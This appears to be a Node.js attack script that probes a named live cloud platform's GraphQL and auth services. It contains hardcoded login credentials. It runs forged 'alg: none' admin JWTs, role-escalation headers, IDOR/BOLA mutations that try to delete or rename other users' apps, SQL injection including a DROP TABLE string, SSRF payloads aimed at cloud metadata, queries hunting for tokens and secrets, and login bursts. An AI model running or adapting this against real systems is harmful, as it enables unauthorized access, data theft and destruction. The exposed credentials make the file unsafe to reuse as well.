471 lines
19 KiB
JavaScript
471 lines
19 KiB
JavaScript
// Phase 1: Full GraphQL Introspection + JWT Analysis + IDOR Tests
|
|
const https = require('https');
|
|
|
|
const AUTH_EMAIL = 'ziad.abd.elgwad2003@gmail.com';
|
|
const AUTH_PASS = '2062003Mz*';
|
|
const GQL_URL = 'https://graphql.ghaymah.systems/v1/graphql';
|
|
const AUTH_URL = 'https://auth.ghaymah.systems/signin/email-password';
|
|
|
|
let TOKEN = null;
|
|
let USER_ID = null;
|
|
|
|
function httpPost(url, body, headers = {}) {
|
|
return new Promise((resolve, reject) => {
|
|
const u = new URL(url);
|
|
const data = JSON.stringify(body);
|
|
const req = https.request({
|
|
hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
|
|
headers: { 'Content-Type': 'application/json', ...headers, 'Content-Length': Buffer.byteLength(data) }
|
|
}, res => {
|
|
let d = '';
|
|
res.on('data', c => d += c);
|
|
res.on('end', () => {
|
|
try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); }
|
|
catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); }
|
|
});
|
|
});
|
|
req.on('error', reject);
|
|
req.write(data);
|
|
req.end();
|
|
});
|
|
}
|
|
|
|
function httpGet(url, headers = {}) {
|
|
return new Promise((resolve, reject) => {
|
|
const u = new URL(url);
|
|
const req = https.request({
|
|
hostname: u.hostname, port: 443, path: u.pathname + u.search, method: 'GET',
|
|
headers: { ...headers }
|
|
}, res => {
|
|
let d = '';
|
|
res.on('data', c => d += c);
|
|
res.on('end', () => {
|
|
try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); }
|
|
catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); }
|
|
});
|
|
});
|
|
req.on('error', reject);
|
|
req.end();
|
|
});
|
|
}
|
|
|
|
async function graphql(query, variables = {}) {
|
|
return httpPost(GQL_URL, { query, variables }, { Authorization: `Bearer ${TOKEN}` });
|
|
}
|
|
|
|
async function authenticate() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 1A: AUTHENTICATION & JWT ANALYSIS');
|
|
console.log('='.repeat(60));
|
|
|
|
const res = await httpPost(AUTH_URL, { email: AUTH_EMAIL, password: AUTH_PASS });
|
|
TOKEN = res.body.session.accessToken;
|
|
const parts = TOKEN.split('.');
|
|
const header = JSON.parse(Buffer.from(parts[0], 'base64url').toString());
|
|
const payload = JSON.parse(Buffer.from(parts[1], 'base64url').toString());
|
|
USER_ID = payload.sub;
|
|
|
|
console.log('\n[+] JWT Algorithm:', header.alg);
|
|
console.log('[+] JWT Type:', header.typ);
|
|
console.log('[+] User ID:', payload.sub);
|
|
console.log('[+] Allowed Roles:', payload['https://hasura.io/jwt/claims']['x-hasura-allowed-roles']);
|
|
console.log('[+] Default Role:', payload['https://hasura.io/jwt/claims']['x-hasura-default-role']);
|
|
console.log('[+] Token Expiry:', new Date(payload.exp * 1000).toISOString());
|
|
console.log('[+] Token Issuer:', payload.iss);
|
|
console.log('[+] Signature (base64):', parts[2].substring(0, 20) + '...');
|
|
console.log('[+] Refresh Token:', res.body.session.refreshToken);
|
|
console.log('[+] Token TTL:', res.body.session.accessTokenExpiresIn, 'seconds');
|
|
|
|
return { header, payload };
|
|
}
|
|
|
|
async function testJWTNoneAlgorithm() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2A: JWT "none" ALGORITHM ATTACK');
|
|
console.log('='.repeat(60));
|
|
|
|
// Build a forged token with alg: none and admin role
|
|
const forgedHeader = Buffer.from(JSON.stringify({ alg: 'none', typ: 'JWT' })).toString('base64url');
|
|
const forgedPayload = Buffer.from(JSON.stringify({
|
|
exp: Math.floor(Date.now()/1000) + 3600,
|
|
'https://hasura.io/jwt/claims': {
|
|
'x-hasura-allowed-roles': ['admin', 'user', 'me'],
|
|
'x-hasura-default-role': 'admin',
|
|
'x-hasura-user-id': USER_ID,
|
|
'x-hasura-user-is-anonymous': 'false'
|
|
},
|
|
iat: Math.floor(Date.now()/1000),
|
|
iss: 'hasura-auth',
|
|
sub: USER_ID
|
|
})).toString('base64url');
|
|
|
|
const forgedTokens = [
|
|
forgedHeader + '.' + forgedPayload + '.',
|
|
forgedHeader + '.' + forgedPayload + '.AA==',
|
|
forgedHeader + '.' + forgedPayload,
|
|
];
|
|
|
|
for (let i = 0; i < forgedTokens.length; i++) {
|
|
const res = await httpPost(GQL_URL,
|
|
{ query: '{ ghaymah_cloud_app { id name } }' },
|
|
{ Authorization: `Bearer ${forgedTokens[i]}` }
|
|
);
|
|
const status = res.body.errors ? 'REJECTED (' + (res.body.errors[0]?.extensions?.code || res.body.errors[0]?.message?.substring(0, 50)) + ')' : 'ACCEPTED';
|
|
console.log(`[${status === 'ACCEPTED' ? '!!!' : '+'}] none-alg variant ${i+1}: ${status}`);
|
|
}
|
|
}
|
|
|
|
async function testJWTRoleTampering() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 2B: JWT ROLE ESCALATION ATTEMPTS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Test with x-hasura-role header override
|
|
const roles = ['admin', 'manager', 'superuser', 'service', 'anonymous'];
|
|
for (const role of roles) {
|
|
const res = await httpPost(GQL_URL,
|
|
{ query: '{ ghaymah_cloud_app { id name project_id } }' },
|
|
{ Authorization: `Bearer ${TOKEN}`, 'x-hasura-role': role }
|
|
);
|
|
const status = res.body.errors ? 'DENIED' : `ACCEPTED (${res.body.data?.ghaymah_cloud_app?.length || 0} apps)`;
|
|
console.log(`[+] Role override '${role}': ${status}`);
|
|
}
|
|
}
|
|
|
|
async function fullIntrospection() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 1B: FULL GRAPHQL SCHEMA INTROSPECTION');
|
|
console.log('='.repeat(60));
|
|
|
|
const res = await graphql(`{
|
|
__schema {
|
|
queryType { name fields { name args { name type { name kind ofType { name kind } } } } }
|
|
mutationType { name fields { name args { name type { name kind ofType { name kind } } } } }
|
|
subscriptionType { name fields { name } }
|
|
types { name kind description fields { name type { name kind ofType { name } } } }
|
|
}
|
|
}`);
|
|
|
|
const schema = res.body.data.__schema;
|
|
console.log('\n[+] Schema Stats:');
|
|
console.log(' Queries:', schema.queryType.fields.length);
|
|
console.log(' Mutations:', schema.mutationType.fields.length);
|
|
console.log(' Subscriptions:', schema.subscriptionType.fields.length);
|
|
console.log(' Total Types:', schema.types.length);
|
|
|
|
console.log('\n--- ALL QUERIES ---');
|
|
schema.queryType.fields.forEach(f => {
|
|
const args = f.args.map(a => a.name).join(', ');
|
|
console.log(` ${f.name}(${args})`);
|
|
});
|
|
|
|
console.log('\n--- ALL MUTATIONS ---');
|
|
schema.mutationType.fields.forEach(f => {
|
|
const args = f.args.map(a => a.name).join(', ');
|
|
console.log(` ${f.name}(${args})`);
|
|
});
|
|
|
|
console.log('\n--- ALL SUBSCRIPTIONS ---');
|
|
schema.subscriptionType.fields.forEach(f => console.log(` ${f.name}`));
|
|
|
|
// Extract security-relevant types
|
|
console.log('\n--- SECURITY-RELEVANT TYPES (with fields) ---');
|
|
const interesting = ['app', 'secret', 'project', 'user', 'domain', 'volume', 'postgres', 'token', 'key', 'env', 'config', 'admin', 'permission', 'plan', 'billing', 'team', 'member'];
|
|
schema.types
|
|
.filter(t => !t.name.startsWith('__') && t.kind === 'OBJECT' && interesting.some(k => t.name.toLowerCase().includes(k)))
|
|
.forEach(t => {
|
|
console.log(`\n TYPE: ${t.name}`);
|
|
if (t.fields) t.fields.slice(0, 20).forEach(f => console.log(` - ${f.name}: ${f.type.name || f.type.ofType?.name || f.type.kind}`));
|
|
});
|
|
|
|
return schema;
|
|
}
|
|
|
|
async function testIDOR() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3A: IDOR / BOLA TESTING');
|
|
console.log('='.repeat(60));
|
|
|
|
// First get our own apps and project
|
|
const myApps = await graphql('{ ghaymah_cloud_app { id name project_id status } }');
|
|
console.log('\n[+] Own apps:', JSON.stringify(myApps.body.data?.ghaymah_cloud_app || myApps.body.errors));
|
|
|
|
// Get our project
|
|
const myProject = await graphql('{ ghaymah_cloud_project { id name } }');
|
|
console.log('[+] Own project:', JSON.stringify(myProject.body.data?.ghaymah_cloud_project || myProject.body.errors));
|
|
|
|
// IDOR Test 1: Try to query apps with a different project_id
|
|
const fakeProjectIds = [
|
|
'00000000-0000-0000-0000-000000000001',
|
|
'a0000000-0000-0000-0000-000000000001',
|
|
'11111111-1111-1111-1111-111111111111'
|
|
];
|
|
|
|
for (const pid of fakeProjectIds) {
|
|
const res = await graphql(`{ ghaymah_cloud_app(where: { project_id: { _eq: "${pid}" } }) { id name project_id } }`);
|
|
const result = res.body.data?.ghaymah_cloud_app;
|
|
const status = res.body.errors ? 'ERROR: ' + res.body.errors[0].message.substring(0, 80) : `${result?.length || 0} apps returned`;
|
|
console.log(`[+] IDOR query project_id=${pid.substring(0,8)}...: ${status}`);
|
|
}
|
|
|
|
// IDOR Test 2: Try to query apps with a different user_id
|
|
const fakeUserIds = [
|
|
'00000000-0000-0000-0000-000000000001',
|
|
'a0000000-0000-0000-0000-000000000001'
|
|
];
|
|
|
|
for (const uid of fakeUserIds) {
|
|
const res = await graphql(`{ ghaymah_cloud_app(where: { user_id: { _eq: "${uid}" } }) { id name } }`);
|
|
const status = res.body.errors ? 'BLOCKED: ' + res.body.errors[0].message.substring(0, 80) : `${res.body.data?.ghaymah_cloud_app?.length || 0} apps returned`;
|
|
console.log(`[+] IDOR query user_id=${uid.substring(0,8)}...: ${status}`);
|
|
}
|
|
|
|
// IDOR Test 3: Try to access secrets from another project
|
|
const secretTest = await graphql('mutation { listSecrets { id name project_id value } }');
|
|
console.log('[+] Secrets query result:', JSON.stringify(secretTest.body.data || secretTest.body.errors).substring(0, 200));
|
|
|
|
// IDOR Test 4: Try unauthenticated introspection
|
|
const unauthRes = await httpPost(GQL_URL, { query: '{ __schema { types { name } } }' }, {});
|
|
console.log('[+] Unauthenticated introspection:', unauthRes.body.errors ? 'BLOCKED' : `EXPOSED (${unauthRes.body.data?.__schema?.types?.length} types)`);
|
|
}
|
|
|
|
async function testBOLA() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3B: BOLA MUTATION TESTS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Test if we can mutate resources in other projects
|
|
const fakeAppId = '00000000-0000-0000-0000-000000000001';
|
|
|
|
// Try to delete someone else's app
|
|
const deleteRes = await graphql(`mutation { deleteApp(id: "${fakeAppId}") { id } }`);
|
|
console.log('[+] Delete foreign app:', JSON.stringify(deleteRes.body.errors || deleteRes.body.data).substring(0, 200));
|
|
|
|
// Try to update someone else's app
|
|
const updateRes = await graphql(`mutation { updateApp(id: "${fakeAppId}", data: { name: "hacked" }) { id } }`);
|
|
console.log('[+] Update foreign app:', JSON.stringify(updateRes.body.errors || updateRes.body.data).substring(0, 200));
|
|
|
|
// Test creating an app with another project's ID
|
|
const createRes = await graphql(`mutation { createApp(data: { name: "idor-test", projectId: "00000000-0000-0000-0000-000000000001" }) { id } }`);
|
|
console.log('[+] Create app in foreign project:', JSON.stringify(createRes.body.errors || createRes.body.data).substring(0, 200));
|
|
}
|
|
|
|
async function testRateLimiting() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 5A: RATE LIMITING TESTS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Rapid-fire GraphQL queries
|
|
const start = Date.now();
|
|
let success = 0, fail = 0;
|
|
const promises = [];
|
|
for (let i = 0; i < 50; i++) {
|
|
promises.push(graphql('{ ghaymah_cloud_app { id } }').then(r => {
|
|
if (r.body.errors) fail++; else success++;
|
|
}));
|
|
}
|
|
await Promise.all(promises);
|
|
const elapsed = Date.now() - start;
|
|
console.log(`[+] 50 rapid GraphQL queries in ${elapsed}ms: ${success} success, ${fail} blocked`);
|
|
console.log(`[${fail === 0 ? '!!!' : '+'}] Rate limiting: ${fail > 0 ? 'PRESENT' : 'NOT ENFORCED'}`);
|
|
|
|
// Rapid-fire auth attempts
|
|
const authStart = Date.now();
|
|
let authSuccess = 0, authFail = 0;
|
|
const authPromises = [];
|
|
for (let i = 0; i < 20; i++) {
|
|
authPromises.push(httpPost(AUTH_URL, { email: AUTH_EMAIL, password: 'wrongpassword' + i }).then(r => {
|
|
if (r.status === 429) authFail++; else authSuccess++;
|
|
}));
|
|
}
|
|
await Promise.all(authPromises);
|
|
const authElapsed = Date.now() - authStart;
|
|
console.log(`[+] 20 rapid auth attempts in ${authElapsed}ms: ${authSuccess} processed, ${authFail} rate-limited`);
|
|
console.log(`[${authFail === 0 ? '!!!' : '+'}] Auth rate limiting: ${authFail > 0 ? 'PRESENT' : 'NOT ENFORCED'}`);
|
|
}
|
|
|
|
async function testSecretLeakage() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 5B: SECRET / ENV LEAKAGE TESTS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Try querying env vars, secrets, tokens from different tables
|
|
const leakQueries = [
|
|
['App env vars', '{ ghaymah_cloud_app { id name env_vars config } }'],
|
|
['User tokens', '{ auth_users { id email } }'],
|
|
['Refresh tokens', '{ auth_refresh_tokens { id refresh_token user_id } }'],
|
|
['User MFA', '{ auth_user_security_keys { id user_id } }'],
|
|
['All projects', '{ ghaymah_cloud_project { id name user_id } }'],
|
|
['PostgreSQL instances', '{ ghaymah_cloud_postgres { id name connection_string } }'],
|
|
['Volumes', '{ ghaymah_cloud_volume { id name project_id } }'],
|
|
['Domains', '{ ghaymah_cloud_domain { id domain app_id } }'],
|
|
['Pull Secrets', 'mutation { listPullSecrets { id server username password } }'],
|
|
['App Logs', '{ ghaymah_cloud_app_log { id app_id log } }'],
|
|
['Billing', '{ ghaymah_cloud_billing { id user_id plan amount } }'],
|
|
];
|
|
|
|
for (const [name, query] of leakQueries) {
|
|
const res = await graphql(query);
|
|
if (res.body.errors) {
|
|
console.log(`[+] ${name}: BLOCKED (${res.body.errors[0].message.substring(0, 60)})`);
|
|
} else {
|
|
const dataStr = JSON.stringify(res.body.data).substring(0, 150);
|
|
console.log(`[!!!] ${name}: EXPOSED — ${dataStr}`);
|
|
}
|
|
}
|
|
}
|
|
|
|
async function testGraphQLInjection() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3C: GRAPHQL INJECTION / BATCHING TESTS');
|
|
console.log('='.repeat(60));
|
|
|
|
// Test query batching
|
|
const batchRes = await httpPost(GQL_URL, [
|
|
{ query: '{ ghaymah_cloud_app { id name } }' },
|
|
{ query: '{ ghaymah_cloud_project { id name } }' }
|
|
], { Authorization: `Bearer ${TOKEN}` });
|
|
console.log('[+] Query batching:', Array.isArray(batchRes.body) ? `ALLOWED (${batchRes.body.length} results)` : 'BLOCKED');
|
|
|
|
// Test deeply nested query (DoS vector)
|
|
const deepQuery = '{ ghaymah_cloud_app { id project { id apps { id project { id apps { id } } } } } }';
|
|
const deepRes = await graphql(deepQuery);
|
|
console.log('[+] Deep nested query:', deepRes.body.errors ? 'BLOCKED' : 'ALLOWED');
|
|
|
|
// Test field suggestion exploitation
|
|
const typoRes = await graphql('{ ghaymah_cloud_app { idd } }');
|
|
if (typoRes.body.errors && typoRes.body.errors[0].message.includes('Did you mean')) {
|
|
console.log('[!!!] Field suggestions exposed: ' + typoRes.body.errors[0].message.substring(0, 100));
|
|
} else {
|
|
console.log('[+] Field suggestions:', typoRes.body.errors ? 'Not leaking' : 'Unexpected');
|
|
}
|
|
|
|
// Test SQL injection through _where operators
|
|
const sqliPayloads = [
|
|
['Basic string injection', '{ ghaymah_cloud_app(where: { name: { _eq: "\'; DROP TABLE ghaymah_cloud_app;--" } }) { id } }'],
|
|
['Boolean-based', '{ ghaymah_cloud_app(where: { name: { _like: "%\\\\%" } }) { id } }'],
|
|
['Union-based concept', '{ ghaymah_cloud_app(where: { _or: [{ name: { _eq: "x" } }, { project_id: { _is_null: true } }] }) { id } }'],
|
|
];
|
|
|
|
for (const [name, query] of sqliPayloads) {
|
|
const res = await graphql(query);
|
|
console.log(`[+] SQLi (${name}):`, res.body.errors ? 'Parameterized/Blocked' : `Processed (${res.body.data?.ghaymah_cloud_app?.length || 0} results)`);
|
|
}
|
|
}
|
|
|
|
async function testHasuraVersion() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 3D: HASURA VERSION & CVE-2026-54698 CHECK');
|
|
console.log('='.repeat(60));
|
|
|
|
// Try to detect Hasura version through various methods
|
|
const versionEndpoints = [
|
|
'https://graphql.ghaymah.systems/v1/version',
|
|
'https://graphql.ghaymah.systems/healthz',
|
|
'https://graphql.ghaymah.systems/v1/graphql/health',
|
|
];
|
|
|
|
for (const url of versionEndpoints) {
|
|
const res = await httpGet(url);
|
|
console.log(`[+] ${url}: HTTP ${res.status} — ${JSON.stringify(res.body).substring(0, 100)}`);
|
|
}
|
|
|
|
// Server header detection
|
|
const gqlRes = await httpPost(GQL_URL, { query: '{ __typename }' }, { Authorization: `Bearer ${TOKEN}` });
|
|
console.log('[+] GraphQL server header:', gqlRes.headers['server'] || 'Not disclosed');
|
|
console.log('[+] GraphQL x-powered-by:', gqlRes.headers['x-powered-by'] || 'Not disclosed');
|
|
|
|
// Test computed field inference (CVE-2026-54698 pattern)
|
|
// Try to infer values using boolean where clauses
|
|
const inferTest = await graphql(`{
|
|
ghaymah_cloud_app_aggregate(where: { name: { _like: "a%" } }) {
|
|
aggregate { count }
|
|
}
|
|
}`);
|
|
console.log('[+] Aggregate query (inference vector):', JSON.stringify(inferTest.body.data || inferTest.body.errors).substring(0, 150));
|
|
}
|
|
|
|
async function testCORS() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 4A: CORS MISCONFIGURATION TESTS');
|
|
console.log('='.repeat(60));
|
|
|
|
const origins = [
|
|
'https://evil.com',
|
|
'https://deploy.ghaymah.systems.evil.com',
|
|
'null',
|
|
'https://ghaymah.systems',
|
|
'http://localhost:3000',
|
|
];
|
|
|
|
for (const origin of origins) {
|
|
const u = new URL(GQL_URL);
|
|
const res = await new Promise((resolve, reject) => {
|
|
const req = https.request({
|
|
hostname: u.hostname, port: 443, path: u.pathname, method: 'OPTIONS',
|
|
headers: {
|
|
'Origin': origin,
|
|
'Access-Control-Request-Method': 'POST',
|
|
'Access-Control-Request-Headers': 'authorization,content-type'
|
|
}
|
|
}, r => {
|
|
let d = '';
|
|
r.on('data', c => d += c);
|
|
r.on('end', () => resolve({ status: r.statusCode, headers: r.headers }));
|
|
});
|
|
req.on('error', reject);
|
|
req.end();
|
|
});
|
|
|
|
const acao = res.headers['access-control-allow-origin'] || 'None';
|
|
const acac = res.headers['access-control-allow-credentials'] || 'None';
|
|
const severity = (acao === origin || acao === '*') ? '!!!' : '+';
|
|
console.log(`[${severity}] Origin '${origin}': ACAO=${acao}, ACAC=${acac} (HTTP ${res.status})`);
|
|
}
|
|
}
|
|
|
|
async function testSSRF() {
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('PHASE 6A: SSRF VIA APP DEPLOYMENT');
|
|
console.log('='.repeat(60));
|
|
|
|
// Check if git URL-based deploy accepts internal URLs
|
|
const ssrfPayloads = [
|
|
'http://169.254.169.254/latest/meta-data/',
|
|
'http://10.43.0.1:443/',
|
|
'http://metadata.google.internal/computeMetadata/v1/',
|
|
'http://localhost:6379/',
|
|
'http://soc-redis:6379/',
|
|
];
|
|
|
|
for (const url of ssrfPayloads) {
|
|
const res = await graphql(`mutation { createApp(data: { name: "ssrf-test", gitUrl: "${url}" }) { id } }`);
|
|
const status = res.body.errors ? 'BLOCKED: ' + res.body.errors[0].message.substring(0, 60) : 'PROCESSED';
|
|
console.log(`[+] SSRF (${url}): ${status}`);
|
|
}
|
|
}
|
|
|
|
// Main execution
|
|
(async () => {
|
|
try {
|
|
await authenticate();
|
|
await testJWTNoneAlgorithm();
|
|
await testJWTRoleTampering();
|
|
await fullIntrospection();
|
|
await testIDOR();
|
|
await testBOLA();
|
|
await testGraphQLInjection();
|
|
await testHasuraVersion();
|
|
await testRateLimiting();
|
|
await testSecretLeakage();
|
|
await testCORS();
|
|
await testSSRF();
|
|
|
|
console.log('\n' + '='.repeat(60));
|
|
console.log('ALL PHASES COMPLETE');
|
|
console.log('='.repeat(60));
|
|
} catch(e) {
|
|
console.error('FATAL ERROR:', e);
|
|
}
|
|
})();
|